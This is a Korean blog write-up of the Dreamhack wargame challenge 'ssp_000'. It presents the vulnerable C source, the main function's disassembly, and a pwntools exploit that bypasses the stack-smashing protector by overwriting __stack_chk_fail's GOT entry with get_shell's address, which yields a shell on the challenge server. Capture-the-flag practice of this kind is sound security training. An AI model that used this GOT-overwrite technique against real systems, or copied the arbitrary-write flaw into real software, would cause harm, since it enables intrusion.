본문 바로가기

드림핵 워게임

[드림핵/워게임] ssp_000

https://dreamhack.io/wargame/challenges/32

 

ssp_000

Desciption 이 문제는 작동하고 있는 서비스(ssp_000)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요

dreamhack.io

 

문제 파일을 다운 받으면 ssp_000.c와 실행 파일이 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

1. buf에 0x80 만큼 입력

2. addr에 입력

3. value에 입력

4. addr가 가리키는 곳에 value 저장

 

메인 함수의 어셈은 다음과 같다.

0x00000000004008fb <+0>:     push   rbp
   0x00000000004008fc <+1>:     mov    rbp,rsp
   0x00000000004008ff <+4>:     sub    rsp,0x70
   0x0000000000400903 <+8>:     mov    DWORD PTR [rbp-0x64],edi
   0x0000000000400906 <+11>:    mov    QWORD PTR [rbp-0x70],rsi
   0x000000000040090a <+15>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400913 <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400917 <+28>:    xor    eax,eax
   0x0000000000400919 <+30>:    lea    rdx,[rbp-0x50]
   0x000000000040091d <+34>:    mov    eax,0x0
   0x0000000000400922 <+39>:    mov    ecx,0x8
   0x0000000000400927 <+44>:    mov    rdi,rdx
   0x000000000040092a <+47>:    rep stos QWORD PTR es:[rdi],rax
   0x000000000040092d <+50>:    mov    eax,0x0
   0x0000000000400932 <+55>:    call   0x40088e <initialize>
   0x0000000000400937 <+60>:    lea    rax,[rbp-0x50]
   0x000000000040093b <+64>:    mov    edx,0x80
   0x0000000000400940 <+69>:    mov    rsi,rax
   0x0000000000400943 <+72>:    mov    edi,0x0
   0x0000000000400948 <+77>:    call   0x400710 <read@plt>
   0x000000000040094d <+82>:    mov    edi,0x400a55
   0x0000000000400952 <+87>:    mov    eax,0x0
   0x0000000000400957 <+92>:    call   0x4006f0 <printf@plt>
   0x000000000040095c <+97>:    lea    rax,[rbp-0x60]
   0x0000000000400960 <+101>:   mov    rsi,rax
   0x0000000000400963 <+104>:   mov    edi,0x400a5d
   0x0000000000400968 <+109>:   mov    eax,0x0
   0x000000000040096d <+114>:   call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400972 <+119>:   mov    edi,0x400a61
   0x0000000000400977 <+124>:   mov    eax,0x0
   0x000000000040097c <+129>:   call   0x4006f0 <printf@plt>
   0x0000000000400981 <+134>:   lea    rax,[rbp-0x58]
   0x0000000000400985 <+138>:   mov    rsi,rax
   0x0000000000400988 <+141>:   mov    edi,0x400a5d
   0x000000000040098d <+146>:   mov    eax,0x0
   0x0000000000400992 <+151>:   call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400997 <+156>:   mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040099b <+160>:   mov    rdx,rax
   0x000000000040099e <+163>:   mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004009a2 <+167>:   mov    QWORD PTR [rdx],rax
   0x00000000004009a5 <+170>:   mov    eax,0x0
   0x00000000004009aa <+175>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009ae <+179>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000004009b7 <+188>:   je     0x4009be <main+195>
   0x00000000004009b9 <+190>:   call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004009be <+195>:   leave
   0x00000000004009bf <+196>:   ret

어셈을 보고 그린 스택은 다음과 같다.

 

전체적인 코드를 보면 카나리 릭은 불가능해 보인다.

대신 카나리를 덮으면 무조건 __stack_chk_fail 함수가 실행되는데,__stack_chk_fail의 GOT을 addr에 넣고, value에 get_shell() 함수의 주소를 넣으면 카나리가 변조되었을 때 get_shell() 함수가 실행될 것이다.

 

1. buf에 아무 값 * 0x50만큼 넣어 카나리를 변조한다.

2. addr에는 __stack_chk_fail 함수의 GOT를, value에는 get_shell() 함수의 주소를 넣어  __stack_chk_fail이 호출될 때, get_shell()  함수가 호출될 수 있도록 한다.

3. 카나리 변조를 확인한 프로그램은  __stack_chk_fail 호출 -> get_shell() 실행

 

이를 그대로 코드로 짜면 다음과 같다.

from pwn import *

p = remote("host3.dreamhack.games", 14987)
e = ELF("./ssp_000")

context.arch = "amd64"

p.sendline(b"a"*0x50)

p.recvuntil("Addr : ")
p.sendline(str(e.got['__stack_chk_fail']))

p.recvuntil("Value : ")
p.sendline(str(0x4008ea))


p.interactive()

'드림핵 워게임' 카테고리의 다른 글

[드림핵/워게임] sint  (0) 2023.08.10
[드림핵/워게임] ssp_001  (0) 2023.08.10
[드림핵/워게임] Return to Shellcode  (0) 2023.08.10
[드림핵/워게임] web-ssrf  (0) 2023.08.03
[드림핵/워게임] Carve Party  (0) 2023.08.03